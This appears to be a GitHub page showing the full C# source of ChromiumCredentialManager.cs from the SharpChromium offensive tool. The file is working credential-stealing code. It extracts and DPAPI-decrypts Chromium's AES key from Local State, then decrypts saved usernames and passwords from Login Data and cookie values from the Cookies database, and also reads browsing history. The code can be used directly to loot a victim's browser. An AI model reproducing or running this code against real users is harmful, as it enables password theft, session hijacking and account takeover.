-
Notifications
You must be signed in to change notification settings - Fork 100
/
Copy pathChromiumCredentialManager.cs
369 lines (348 loc) · 15.5 KB
/
ChromiumCredentialManager.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.Diagnostics;
using System.Security.Cryptography;
using CS_SQLite3;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Data;
namespace SharpChromium
{
class ChromiumCredentialManager
{
internal string userDataPath;
internal string userChromiumHistoryPath;
internal string userChromiumBookmarksPath;
internal string userChromiumCookiesPath;
internal string userChromiumLoginDataPath;
internal string userLocalStatePath;
internal string chromiumBasePath;
internal bool useTmpFile = false;
internal byte[] aesKey = null;
internal BCrypt.SafeAlgorithmHandle hAlg = null;
internal const int AES_BLOCK_SIZE = 16;
internal BCrypt.SafeKeyHandle hKey = null;
internal string[] filterDomains = null;
internal static byte[] DPAPI_HEADER = UTF8Encoding.UTF8.GetBytes("DPAPI");
internal static byte[] DPAPI_CHROME_UNKV10 = UTF8Encoding.UTF8.GetBytes("v10");
public ChromiumCredentialManager(string basePath, string[] domains = null)
{
if (Environment.GetEnvironmentVariable("USERNAME").Contains("SYSTEM"))
throw new Exception("Cannot decrypt Chromium credentials from a SYSTEM level context.");
if (domains != null && domains.Length > 0)
filterDomains = domains;
string localAppData = Environment.GetEnvironmentVariable("LOCALAPPDATA");
hKey = null;
hAlg = null;
chromiumBasePath = basePath;
userChromiumHistoryPath = chromiumBasePath + "\\Default\\History";
userChromiumBookmarksPath = chromiumBasePath + "\\Default\\Bookmarks";
userChromiumCookiesPath = chromiumBasePath + "\\Default\\Cookies";
userChromiumLoginDataPath = chromiumBasePath + "\\Default\\Login Data";
userLocalStatePath = chromiumBasePath + "Local State";
if (!Chromium())
throw new Exception("User chromium data files not present.");
useTmpFile = true;
//Process[] chromeProcesses = Process.GetProcessesByName("chrome");
//if (chromeProcesses.Length > 0)
//{
// useTmpFile = true;
//}
string key = GetBase64EncryptedKey();
if (key != "")
{
//Console.WriteLine("Normal DPAPI Decryption");
aesKey = DecryptBase64StateKey(key);
if (aesKey == null)
throw new Exception("Failed to decrypt AES Key.");
DPAPIChromiumAlgFromKeyRaw(aesKey, out hAlg, out hKey);
if (hAlg == null || hKey == null)
throw new Exception("Failed to create BCrypt Symmetric Key.");
}
}
private HostCookies[] ExtractCookiesFromSQLQuery(DataTable query)
{
List<Cookie> cookies = new List<Cookie>();
List<HostCookies> hostCookies = new List<HostCookies>();
HostCookies hostInstance = null;
string lastHostKey = "";
foreach (DataRow row in query.Rows)
{
if (row == null)
continue;
if (row["host_key"].GetType() != typeof(System.DBNull) && lastHostKey != (string)row["host_key"])
{
lastHostKey = (string)row["host_key"];
if (hostInstance != null)
{
hostInstance.Cookies = cookies.ToArray();
hostCookies.Add(hostInstance);
}
hostInstance = new HostCookies();
hostInstance.HostName = lastHostKey;
cookies = new List<Cookie>();
}
Cookie cookie = new Cookie();
cookie.Domain = row["host_key"].ToString();
long expDate;
Int64.TryParse(row["expires_utc"].ToString(), out expDate);
// https://github.com/djhohnstein/SharpChrome/issues/1
if ((expDate / 1000000.000000000000) - 11644473600 > 0)
cookie.ExpirationDate = (expDate / 1000000.000000000000000) - 11644473600;
cookie.HostOnly = cookie.Domain[0] == '.' ? false : true; // I'm not sure this is stored in the cookie store and seems to be always false
if (row["is_httponly"].ToString() == "1")
{
cookie.HttpOnly = true;
}
else
{
cookie.HttpOnly = false;
}
cookie.Name = row["name"].ToString();
cookie.Path = row["path"].ToString();
// cookie.SameSite = "no_restriction"; // Not sure if this is the same as firstpartyonly
if (row["is_secure"].ToString() == "1")
{
cookie.Secure = true;
}
else
{
cookie.Secure = false;
}
cookie.Session = row["is_persistent"].ToString() == "0" ? true : false; // Unsure, this seems to be false always
//cookie.StoreId = "0"; // Static
cookie.StoreId = null;
cookie.SetSameSiteCookie(row["sameSite"].ToString());
byte[] cookieValue = Convert.FromBase64String(row["encrypted_value"].ToString());
cookieValue = DecryptBlob(cookieValue);
if (cookieValue != null)
cookie.Value = System.Text.Encoding.UTF8.GetString(cookieValue);
else
cookie.Value = "";
if (cookie != null)
cookies.Add(cookie);
}
return hostCookies.ToArray();
}
private byte[] DecryptBlob(byte[] dwData)
{
if (hKey == null && hAlg == null)
return ProtectedData.Unprotect(dwData, null, DataProtectionScope.CurrentUser);
byte[] dwDataOut = null;
// magic decryption happens here
BCrypt.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO info;
int dwDataOutLen;
//IntPtr pDataOut = IntPtr.Zero;
IntPtr pData = IntPtr.Zero;
uint ntStatus;
byte[] subArrayNoV10;
int pcbResult = 0;
unsafe
{
if (ByteArrayEquals(dwData, 0, DPAPI_CHROME_UNKV10, 0, 3))
{
subArrayNoV10 = new byte[dwData.Length - DPAPI_CHROME_UNKV10.Length];
Array.Copy(dwData, 3, subArrayNoV10, 0, dwData.Length - DPAPI_CHROME_UNKV10.Length);
pData = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(byte)) * dwData.Length);
//byte[] shiftedEncVal = new byte[dwData.Length - 3];
//Array.Copy(dwData, 3, shiftedEncVal, 0, dwData.Length - 3);
//IntPtr shiftedEncValPtr = IntPtr.Zero;
try
{
//shiftedEncValPtr = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(byte)) * shiftedEncVal.Length);
Marshal.Copy(dwData, 0, pData, dwData.Length);
Utils.MiscUtils.BCRYPT_INIT_AUTH_MODE_INFO(out info);
info.pbNonce = (byte*)(pData + DPAPI_CHROME_UNKV10.Length);
info.cbNonce = 12;
info.pbTag = info.pbNonce + dwData.Length - (DPAPI_CHROME_UNKV10.Length + AES_BLOCK_SIZE); // AES_BLOCK_SIZE = 16
info.cbTag = AES_BLOCK_SIZE; // AES_BLOCK_SIZE = 16
dwDataOutLen = dwData.Length - DPAPI_CHROME_UNKV10.Length - info.cbNonce - info.cbTag;
dwDataOut = new byte[dwDataOutLen];
fixed (byte* pDataOut = dwDataOut)
{
ntStatus = BCrypt.BCryptDecrypt(hKey, info.pbNonce + info.cbNonce, dwDataOutLen, (void*)&info, null, 0, pDataOut, dwDataOutLen, out pcbResult, 0);
}
if (NT_SUCCESS(ntStatus))
{
//Console.WriteLine("{0} : {1}", dwDataOutLen, pDataOut);
}
}
catch (Exception ex)
{
}
finally
{
if (pData != null && pData != IntPtr.Zero)
Marshal.FreeHGlobal(pData);
//if (pDataOut != null && pDataOut != IntPtr.Zero)
// Marshal.FreeHGlobal(pDataOut);
//if (pInfo != null && pInfo != IntPtr.Zero)
// Marshal.FreeHGlobal(pDataOut);
}
}
}
return dwDataOut;
}
// You want cookies? Get them here.
public HostCookies[] GetCookies()
{
string cookiePath = userChromiumCookiesPath;
if (useTmpFile)
cookiePath = Utils.FileUtils.CreateTempDuplicateFile(userChromiumCookiesPath);
SQLiteDatabase database = new SQLiteDatabase(cookiePath);
string query = "SELECT * FROM cookies ORDER BY host_key";
DataTable resultantQuery = database.ExecuteQuery(query);
database.CloseDatabase();
HostCookies[] rawCookies = ExtractCookiesFromSQLQuery(resultantQuery);
if (useTmpFile)
try
{
File.Delete(cookiePath);
}
catch { Console.WriteLine("[X] Failed to delete temp cookie path at {0}", cookiePath); }
return rawCookies;
}
public HistoricUrl[] GetHistory()
{
HostCookies[] cookies = GetCookies();
string historyPath = userChromiumHistoryPath;
if (useTmpFile)
historyPath = Utils.FileUtils.CreateTempDuplicateFile(historyPath);
SQLiteDatabase database = new SQLiteDatabase(historyPath);
string query = "SELECT url, title, visit_count, last_visit_time FROM urls ORDER BY visit_count;";
DataTable resultantQuery = database.ExecuteQuery(query);
database.CloseDatabase();
HistoricUrl[] results = new HistoricUrl[resultantQuery.Rows.Count];
for (int i = 0; i < resultantQuery.Rows.Count; i++)
{
DataRow row = resultantQuery.Rows[i];
results[i] = new HistoricUrl(row, cookies);
}
if (useTmpFile)
{
try
{
File.Delete(historyPath);
}
catch { Console.WriteLine("[X] Failed to delete temp history file: {0}", historyPath); }
}
return results;
}
public SavedLogin[] GetSavedLogins()
{
string loginData = userChromiumLoginDataPath;
if (useTmpFile)
loginData = Utils.FileUtils.CreateTempDuplicateFile(loginData);
SQLiteDatabase database = new SQLiteDatabase(loginData);
string query = "SELECT action_url, username_value, password_value FROM logins";
DataTable resultantQuery = database.ExecuteQuery(query);
List<SavedLogin> logins = new List<SavedLogin>();
foreach (DataRow row in resultantQuery.Rows)
{
string password = String.Empty;
byte[] passwordBytes = Convert.FromBase64String((string)row["password_value"]);
byte[] decBytes = DecryptBlob(passwordBytes);
if (decBytes != null)
// https://github.com/djhohnstein/SharpChrome/issues/6
password = Encoding.UTF8.GetString(decBytes);
if (password != String.Empty)
{
logins.Add(new SavedLogin(row["action_url"].ToString(), row["username_value"].ToString(), password));
}
}
database.CloseDatabase();
return logins.ToArray();
}
private bool Chromium()
{
string[] paths =
{
userChromiumHistoryPath,
userChromiumCookiesPath,
userChromiumBookmarksPath,
userChromiumLoginDataPath,
userLocalStatePath
};
foreach (string path in paths)
{
if (File.Exists(path))
return true;
}
return false;
}
public static byte[] DecryptBase64StateKey(string base64Key)
{
byte[] encryptedKeyBytes = System.Convert.FromBase64String(base64Key);
if (ByteArrayEquals(DPAPI_HEADER, 0, encryptedKeyBytes, 0, 5))
{
//Console.WriteLine("> Key appears to be encrypted using DPAPI");
byte[] encryptedKey = new byte[encryptedKeyBytes.Length - 5];
Array.Copy(encryptedKeyBytes, 5, encryptedKey, 0, encryptedKeyBytes.Length - 5);
byte[] decryptedKey = ProtectedData.Unprotect(encryptedKey, null, DataProtectionScope.CurrentUser);
return decryptedKey;
}
else
{
Console.WriteLine("Unknown encoding.");
}
return null;
}
private static bool ByteArrayEquals(byte[] sourceArray, int sourceIndex, byte[] destArray, int destIndex, int len)
{
int j = destIndex;
for (int i = sourceIndex; i < sourceIndex + len; i++)
{
if (sourceArray[i] != destArray[j])
return false;
j++;
}
return true;
}
public string GetBase64EncryptedKey()
{
if (!File.Exists(userLocalStatePath))
return "";
string localStateData = File.ReadAllText(userLocalStatePath);
string searchTerm = "encrypted_key";
int startIndex = localStateData.IndexOf(searchTerm);
if (startIndex < 0)
return "";
// encrypted_key":"BASE64"
int keyIndex = startIndex + searchTerm.Length + 3;
string tempVals = localStateData.Substring(keyIndex);
int stopIndex = tempVals.IndexOf('"');
if (stopIndex < 0)
return "";
string base64Key = tempVals.Substring(0, stopIndex);
return base64Key;
}
private static bool NT_SUCCESS(uint status)
{
return 0 == status;
}
//kuhl_m_dpapi_chrome_alg_key_from_raw
public static bool DPAPIChromiumAlgFromKeyRaw(byte[] key, out BCrypt.SafeAlgorithmHandle hAlg, out BCrypt.SafeKeyHandle hKey)
{
bool bRet = false;
hAlg = null;
hKey = null;
uint ntStatus;
ntStatus = BCrypt.BCryptOpenAlgorithmProvider(out hAlg, "AES", null, 0);
if (NT_SUCCESS(ntStatus))
{
ntStatus = BCrypt.BCryptSetProperty(hAlg, "ChainingMode", "ChainingModeGCM", 0);
if (NT_SUCCESS(ntStatus))
{
ntStatus = BCrypt.BCryptGenerateSymmetricKey(hAlg, out hKey, null, 0, key, key.Length, 0);
if (NT_SUCCESS(ntStatus))
bRet = true;
}
}
return bRet;
}
}
}